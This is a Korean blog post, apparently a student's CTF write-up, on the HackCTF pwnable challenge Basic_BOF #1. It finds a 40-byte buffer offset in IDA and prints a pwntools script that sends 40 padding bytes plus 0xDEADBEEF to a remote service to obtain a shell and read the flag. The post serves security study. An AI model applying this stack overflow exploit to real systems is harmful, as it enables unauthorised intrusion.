본문 바로가기

study/CTF

[HackCTF] Pwnable - Basic_BOF #1

basic_bof #1

1. bof_basic 파일을 다운 받아서 IDA로 오픈

- HEX-RAY 플래그인이 설치되어야 디컴파일이 가능하다

- F5를 눌러 디컴파일을 한다.

2. 코드 해석하기

- 12번째 줄의 if문을 true로 만들어야 system 함수가 호출되는 것을 알 수 있음.

=> v5의 값을 0xDEADBEEF으로 만들어야함

- 변수 s와 v5가 있는 걸 확인, fgets() 함수를 사용해서 변수 s의 주소에 45바이트만큼의 입려값을 넣는다.

- s의 주소는 ebp-34 / v5의 주소는 ebp-c → 0x43 - 0xc = 0x28 

- 0x28은 10진수로 40. s와 v5 주소 차는 40바이트.

- v5의 주소가 s의 주소보다 큰 값이기 때문에 먼저 선언 되었음을 알 수 있음(데이터 쌓이는 순서 : 높은 주소값→낮은 주소값)

 

3. 파이썬을 이용해 nc ctf.j0n9hyun.xyz 3000 에 접속하여 파일(공격파일)을 전달

- 파이썬으로 공격파일 작성

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3000)

attack = 0xDEADBEEF
payload = 'A'*40
payload += p32(attack)

p.sendline(payload)
p.interactive()

- Linux 환경에서 python 설치하기

apt-get install python-pip python2

- Linux 환경에서 pwn 모듈 설치하기

pip install pwntools

- Linux 환경에서 python 파일 실행

root@kali:~/Downloads# python bof_basic_exploit.py 

- 실행 후, 쉘에 접속 되었음을 알 수 있음. 권한과 현재 디렉토리 안의 파일 보기

- flag 파일 내용 출력

$ cat flag

 

'study > CTF' 카테고리의 다른 글

[HackCTF] Basic_FSB  (0) 2020.09.23
[HackCTF] Pwnable - RTL_World  (0) 2020.09.23
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리)  (0) 2020.06.12
[CTF] suninatas.com_web02  (0) 2020.04.23
[CTF] reversing.kr_easy crack  (0) 2020.04.17